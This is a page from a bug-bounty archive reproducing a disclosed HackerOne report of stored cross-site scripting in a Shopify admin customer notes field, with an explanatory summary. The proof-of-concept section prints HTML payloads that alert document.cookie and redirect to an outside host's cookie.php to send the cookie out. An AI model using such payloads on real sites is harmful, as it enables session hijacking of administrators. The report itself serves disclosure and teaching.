Skip to content
XSS Disclosed report Beginner

xss stored

A stored cross-site scripting flaw was found in the customer notes field of a Shopify admin panel, reachable only after logging in. An attacker who can write to that field could run script in the context of an admin viewing the note, potentially capturing cookies.

davscol94 Follow

Originally disclosed on HackerOne

  • Triaged in 40 hours
  • Fixed in 36 days
  • Paid in 4 days
  • Disclosed after 45 days

Se encuentra un xss en las notas del cliente se requiere inicio de session, se encuentra en el campo notas de cliente

POC

https://macken22jorg.myshopify.com/admin/customers https://macken22jorg.myshopify.com/admin/customers/2901321318444

<h1>holaaaaaaa||<a href="http://<a href="http://<a href="http://<a href="javascript:alert(document.cookie)" onmouseover="javascript:alert(document.cookie)">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">gle.com</a> hhh <h1>holaaaaaaa||<a href="http://<a href="http://<a href="http://<a href="javascript:window.location='https://growncheckerworl.com/cookie.php?cookie=document.cookie'" >aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">aaaaaaaaaaaaaaaaaaaaaaaaaagle.com</a>">gle.com</a> hhhk

Referencias:

https://www.imperva.com/learn/application-security/cross-site-scripting-xss-attacks/

Impact

captura de cookies

Attachments

1.png
1.png From the original on HackerOne
2.png
2.png
3.png
3.png
4.png
4.png
5.png
5.png

The original report as published on HackerOne, by davscol94. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the customer notes field stored user-supplied HTML without sanitising or encoding it before rendering in the admin page.

Impact

An attacker who can write to the notes field could run script in an admin's session and potentially capture cookies, though the report gives no proof beyond the payload itself.

What the attacker needed

Valid admin login; ability to edit customer notes

How it was found

  1. Log in to the Shopify admin.
  2. Open the customers list and pick a customer record.
  3. Enter HTML with a script handler into the notes field and save it.
  4. Open the customer record so the stored markup renders and the script runs.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Cross-site scripting (XSS) is when a website shows text that a user typed without cleaning it, so the browser treats it as code and runs it. Here the 'notes' box on a customer record accepted HTML and JavaScript, so anyone who could save a note could make an admin's browser run that code when they opened the record. The report says a login is needed, so the attacker must already have some access to the admin area.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by davscol94

View all

1 more disclosed report, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.